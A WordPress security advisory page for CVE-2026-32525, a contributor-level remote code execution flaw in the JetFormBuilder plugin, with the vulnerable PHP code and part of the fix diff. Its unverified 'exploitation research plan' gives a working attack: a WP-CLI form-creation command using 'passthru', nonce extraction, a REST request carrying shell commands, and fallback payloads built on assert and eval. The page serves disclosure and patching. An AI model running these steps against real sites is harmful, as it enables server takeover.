CVE-2026-32525

JetFormBuilder — Dynamic Blocks Form Builder <= 3.5.6.1 - Authenticated (Contributor+) Remote Code Execution

highImproper Control of Generation of Code ('Code Injection')
8.8
CVSS Score
8.8
CVSS Score
high
Severity
3.5.6.2
Patched in
44d
Time to patch

Description

The JetFormBuilder — Dynamic Blocks Form Builder plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 3.5.6.1. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=3.5.6.1
PublishedMarch 23, 2026
Last updatedMay 5, 2026
Affected pluginjetformbuilder

What Changed in the Fix

Changes introduced in v3.5.6.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-32525 - JetFormBuilder Remote Code Execution ## 1. Vulnerability Summary The **JetFormBuilder** plugin for WordPress is vulnerable to **Remote Code Execution (RCE)** due to an improper implementation of server-side validation callbacks. The plugin allows form …

Show full research plan

Exploitation Research Plan: CVE-2026-32525 - JetFormBuilder Remote Code Execution

1. Vulnerability Summary

The JetFormBuilder plugin for WordPress is vulnerable to Remote Code Execution (RCE) due to an improper implementation of server-side validation callbacks. The plugin allows form creators to define "Server-Side callback" rules for form fields. When a form field is validated, the plugin uses call_user_func to execute a user-specified PHP function. While a blacklist of dangerous functions exists, it is incomplete, allowing functions like passthru to be executed with arbitrary arguments (the field value).

Since a Contributor can create or edit forms (which are stored as jet-form-builder custom posts), they can embed a malicious callback into a form and then trigger its execution via the plugin's REST API validation endpoint.

2. Attack Vector Analysis

  • Endpoint: POST /wp-json/jet-form-builder/v1/validate-field
  • Authentication: Contributor level is required to create the malicious form. Once the form exists, the validation endpoint can be triggered by any user with a valid REST API nonce (standard for logged-in users).
  • Vulnerable Parameter (Configuration): The value setting of a ssr (Server-Side Rule) validation rule.
  • Vulnerable Parameter (Trigger): The field value in the REST API request.
  • Sink: call_user_func() in modules/validation/advanced-rules/server-side-rule.php.

3. Code Flow

  1. Entry Point: A POST request is sent to the REST route jet-form-builder/v1/validate-field.
  2. Endpoint Handler: JFB_Modules\Validation\Rest_Api\Rest_Validation_Endpoint::run_callback receives the request.
  3. Validation Processing: It calls JFB_Modules\Validation\Handlers\Validation_Handler::validate($body).
  4. Parser Resolution: Validation_Handler resolves the form and field parser using the provided _jfb_validation_path and _jet_engine_booking_form_id.
  5. Rule Execution: It retrieves the validation rules for the field. If a rule index _jfb_validation_rule_index points to an ssr rule, it calls $ssr_rule->validate_field($parser).
  6. Dynamic Callback: JFB_Modules\Validation\Advanced_Rules\Server_Side_Rule::validate_field retrieves the value setting (the function name).
  7. Custom Validation: Server_Side_Rule::validate_custom is reached because the function is not a built-in JFB callback.
  8. Bypass Check: Server_Side_Rule::validate_callback checks the function name against a blacklist:
    • var_dump, var_export, print_r, sprintf, printf, shell_exec, system, exec, unserialize, file_get_contents, maybe_unserialize.
    • Note: passthru, popen, proc_open, and assert (PHP < 8) are notably missing.
  9. Sink: call_user_func($name, $parser->get_value(), $parser->get_context()) executes the command.

4. Nonce Acquisition Strategy

The REST API endpoint requires a standard WordPress REST nonce (wp_rest).

  1. Method: Authenticate as a Contributor.
  2. Navigation: Navigate to the WordPress dashboard (e.g., /wp-admin/).
  3. Extraction: Use browser_eval to extract the REST nonce from the standard wpApiSettings object.
  4. JS Key: window.wpApiSettings?.nonce or extract from the _wpnonce parameter in any AJAX request.

5. Exploitation Strategy

Step 1: Create a Malicious Form

Use WP-CLI to create a form post containing a text field with a malicious SSR validation rule.

wp post create --post_type=jet-form-builder \
  --post_status=publish \
  --post_title='RCE Exploit' \
  --post_content='<!-- wp:jet-forms/text-field {"label":"Command","name":"exploit_field","validation":{"type":"advanced","rules":[{"name":"ssr","value":"passthru","message":"Validation failed"}]}} /-->'

Note the resulting ID of this post (e.g., 123).

Step 2: Obtain REST Nonce

Navigate to /wp-admin/ and run:
browser_eval("window.wpApiSettings.nonce")

Step 3: Trigger the Payload

Send a POST request to the validation endpoint. We use passthru because it sends command output directly to the output buffer, which will appear in the HTTP response.

Request Details:

  • URL: http://localhost:8080/wp-json/jet-form-builder/v1/validate-field
  • Method: POST
  • Headers:
    • Content-Type: application/x-www-form-urlencoded
    • X-WP-Nonce: [REST_NONCE]
  • Body:
    • _jfb_validation_path: exploit_field
    • _jfb_validation_rule_index: 0
    • _jet_engine_booking_form_id: 123 (The Form ID)
    • exploit_field: whoami; id; uname -a

6. Test Data Setup

  1. User: A user with contributor role.
  2. Plugin: JetFormBuilder version 3.5.6.1 or lower installed and active.
  3. Post: The jet-form-builder post created in Step 5.1.

7. Expected Results

  • HTTP Response: The response body should contain the output of the shell commands (whoami, id, etc.) followed by the JSON response from the REST API.
  • Response JSON:
    {"result":false,"message":"Validation failed"}
    
    (Result is false because passthru returns NULL, which casts to false in PHP)

8. Verification Steps

  1. Visual: Observe the output of id or whoami in the HTTP response.
  2. File System: Change the payload to touch /tmp/jfb_rce_test.
  3. Check: Run wp eval 'echo file_exists("/tmp/jfb_rce_test") ? "pwned" : "failed";' via CLI.

9. Alternative Approaches

  • Function assert: If PHP version is < 8.0, use assert as the callback and eval(base64_decode(...)) as the value.
  • Function mb_ereg_replace: If available, can be used for RCE via the e modifier in some PHP environments.
  • Admin-Ajax: If the REST API is blocked, use the jet_fb_ssr_validation_ajax action at /wp-admin/admin-ajax.php.
    • Body: action=jet_fb_ssr_validation_ajax&data={"_jfb_validation_path":"exploit_field","_jfb_validation_rule_index":0,"_jet_engine_booking_form_id":123,"exploit_field":"whoami"}
Research Findings
Static analysis — not yet PoC-verified

Summary

The JetFormBuilder plugin for WordPress is vulnerable to Remote Code Execution due to an insecure implementation of server-side validation callbacks. Authenticated attackers with Contributor-level access can define a dangerous PHP function (e.g., 'passthru') as a validation rule for a form field and execute it with arbitrary arguments by triggering the field validation REST API endpoint.

Vulnerable Code

// modules/validation/advanced-rules/server-side-rule.php lines 91-109

	protected function validate_custom( Field_Data_Parser $parser, string $function_name ): bool {
		$name = $this->validate_callback( $function_name );

		if ( ! $name ) {
			return false;
		}

		return (bool) call_user_func( $name, $parser->get_value(), $parser->get_context() );
	}

	protected function validate_callback( string $function_name ): string {
		$name = preg_replace( '/[^\w]/i', '', $function_name );

		if ( $name !== $function_name ||
			// not in the blacklist
			in_array( $name, self::NOT_ALLOWED, true )
		) {
			return '';
		}

		return function_exists( $name ) ? $name : '';
	}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/jetformbuilder/3.5.6.1/assets/build/frontend/advanced.reporting.asset.php /home/deploy/wp-safety.org/data/plugin-versions/jetformbuilder/3.5.6.2/assets/build/frontend/advanced.reporting.asset.php
--- /home/deploy/wp-safety.org/data/plugin-versions/jetformbuilder/3.5.6.1/assets/build/frontend/advanced.reporting.asset.php	2025-11-05 11:14:02.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/jetformbuilder/3.5.6.2/assets/build/frontend/advanced.reporting.asset.php	2026-02-16 08:53:46.000000000 +0000
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-api-fetch'), 'version' => '8ff3219219229b3acd2f');
+<?php return array('dependencies' => array('wp-api-fetch'), 'version' => 'cd9019dc6f52cd8ab6d0');
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/jetformbuilder/3.5.6.1/assets/build/frontend/advanced.reporting.js /home/deploy/wp-safety.org/data/plugin-versions/jetformbuilder/3.5.6.2/assets/build/frontend/advanced.reporting.js
--- /home/deploy/wp-safety.org/data/plugin-versions/jetformbuilder/3.5.6.1/assets/build/frontend/advanced.reporting.js	2025-11-05 11:14:02.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/jetformbuilder/3.5.6.2/assets/build/frontend/advanced.reporting.js	2026-02-16 08:53:46.000000000 +0000
@@ -1 +1 @@
-(()=>{"use strict";var t={n:e=>{var i=e&&e.__esModule?()=>e.default:()=>e;return t.d(i,{a:i}),i},d:(e,i)=>{for(var r in i)t.o(i,r)&&!t.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:i[r]})},o:(t,e)=>Object.prototype.hasOwnProperty.call(t,e)};const{Restriction:e,CalculatedFormula:i}=window.JetFormBuilderAbstract;function r(){e.call(this),this.message="",this.formula=null,this.watchedAttrs=[]}r.prototype=Object.create(e.prototype),r.prototype.message="",r.prototype.formula=null,r.prototype.watchedAttrs=[],r.prototype.isServerSide=function(){return!1},r.prototype.getMessage=function(){return this.message},r.prototype.getRawMessage=function(){return"Error"},r.prototype.getMessageBySlug=function(t){return function(t,e){var i,r,s,n;const{reporting:o}=t,a=null!==(i=o.messages[e])&&void 0!==i?i:"";if(a)return a;const u=null!==(r=window?.JetFormsValidation)&&void 0!==r&&r;if(!1===u)return"";const c=o.input.getSubmit(),{messages:l}=null!==(s=u[c.getFormId()])&&void 0!==s?s:{};return null!==(n=l[e])&&void 0!==n?n:""}(this,t)},r.prototype.onReady=function(){this.formula=new i(this.reporting.input),this.formula.observe(this.getRawMessage()),this.formula.setResult=()=>{this.message=this.formula.calculateString()},this.formula.setResult(),this.watchedAttrs.length&&(this.reporting.watchAttrs=[...new Set([...this.reporting.watchAttrs,...this.watchedAttrs])])};const s=r;function n(){s.call(this),this.watchedAttrs.push("max"),this.isSupported=function(t,e){const{max:i=!1}=e.input.attrs;return!1!==i&&["number","range"].includes(t.type)},this.validate=function(){const t=this.getValue(),{max:e}=this.reporting.input.attrs;return!t||+t<=+e.value.current},this.getRawMessage=function(){return this.getMessageBySlug("number_max")}}n.prototype=Object.create(s.prototype);const o=n;function a(){s.call(this),this.watchedAttrs.push("min"),this.isSupported=function(t,e){const{min:i=!1}=e.input.attrs;return!1!==i&&["number","range"].includes(t.type)},this.validate=function(){const t=this.getValue(),{min:e}=this.reporting.input.attrs;return!t||+t>=+e.value.current},this.getRawMessage=function(){return this.getMessageBySlug("number_min")}}a.prototype=Object.create(s.prototype);
... (truncated)

Exploit Outline

1. Authenticate to the target WordPress site as a user with Contributor-level access or higher. 2. Create a new form using JetFormBuilder (post type: jet-form-builder). Within the form's text field configuration, add a 'Server-Side callback' (ssr) validation rule. 3. Set the SSR rule's value to a dangerous PHP function that is not included in the plugin's blacklist (e.g., 'passthru'). Save the form and note its post ID. 4. Obtain a valid REST API nonce (standard for logged-in users, accessible via window.wpApiSettings.nonce). 5. Send a POST request to /wp-json/jet-form-builder/v1/validate-field with parameters: _jet_engine_booking_form_id (the form ID), _jfb_validation_path (the name of the malicious field), _jfb_validation_rule_index (the index of the SSR rule), and the field name itself set to the shell command payload (e.g., 'id'). 6. The plugin will retrieve the function name from the form configuration and execute it using call_user_func, passing the shell command from the request as the first argument, resulting in command execution.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.